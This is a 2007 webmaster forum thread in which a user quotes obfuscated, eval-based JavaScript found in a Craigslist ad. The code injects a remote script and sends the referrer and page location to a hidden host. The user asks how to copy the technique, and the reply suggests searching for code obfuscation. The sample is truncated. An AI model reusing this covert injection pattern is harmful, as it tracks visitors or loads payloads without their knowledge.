homepage Welcome to WebmasterWorld Guest from 54.226.10.234
register, free tools, login, search, pro membership, help, library, announcements, recent posts, open posts,
Pubcon Platinum Sponsor 2014
Home / Forums Index / Code, Content, and Presentation / XML Development
Forum Library, Charter, Moderators: httpwebwitch

XML Development Forum

    
I saw this on craigslist
Craigslist xml
tricky20001

5+ Year Member



 
Msg#: 3377003 posted 8:18 pm on Jun 23, 2007 (gmt 0)

Hiya all, I saw this code in the source of a craigslist ad

<xml ondatasetchanged="vagxf='%76%61%72%20%6a%70%67%32%32%35%37%34
%32%34%38%35%30%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74
%70%67%32%32%35%37%34%32%34%38%35%30%29%3b%66%75%6e%63%74
%69%6f%6e%20%7a%28%73%29%7b%76%61%72%20%6f%3d%22%22%2c%69
%3d%22%69%3d%22%2b%65%73%63%61%70%65%28%32%36%29%2b%22%26
%72%3d%22%2b%65%73%63%61%70%65%28%64%6f%63%75%6d%65%6e%74
%2e%72%65%66%65%72%72%65%72%29%2b%22%26%6c%3d%22%2b%65%73
%63%61%70%65%28%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74
%69%6f%6e%29%3b%72%65%74%75%72%6e%20%6f%3b%7d';
dbzxu=unescape(vagxf);eval(dbzxu);"><a>.</a></xml><table summary="craigslist hosted images">

I translated it to this..

<xml ondatasetchanged="vagxf='var jpg2257424850=document.createElement("script"); jpg2257424850.setAttribute("src", z("http://www.craigslist.org/?22921721722127528285287218287221229221270")); document.body.appendChild(jpg2257424850);function z(s){var o="",i,p,q="";for(i=s.indexOf("?")+1;i<=s.length-3;i+=3)
{q=s.substr(i,3);p=parseInt(q);o+=String.fromCharCode(333%p);}
o+="i="+escape(26)+"&r="+escape(document.referrer)+"&l="+escape';
dbzxu=unescape(vagxf);eval(dbzxu);"><a>.</a></xml><table summary="craigslist hosted images">

As I'm more of a web promoter than a developer, I was wondering what was going on? The original ad was just a click link in an ad. How can I package my click links like this?
Thanks in advance.

[edited by: encyclo at 5:56 pm (utc) on June 24, 2007]
[edit reason] shortened code and fixed side-scroll [/edit]

 

Marshall

WebmasterWorld Senior Member 10+ Year Member



 
Msg#: 3377003 posted 8:55 pm on Jun 23, 2007 (gmt 0)

Try a search for "code obfustication"

Marshall

Global Options:
 top home search open messages active posts  
 

Home / Forums Index / Code, Content, and Presentation / XML Development
rss feed

All trademarks and copyrights held by respective owners. Member comments are owned by the poster.
Home ¦ Free Tools ¦ Terms of Service ¦ Privacy Policy ¦ Report Problem ¦ About ¦ Library ¦ Newsletter
WebmasterWorld is a Developer Shed Community owned by Jim Boykin.
© Webmaster World 1996-2014 all rights reserved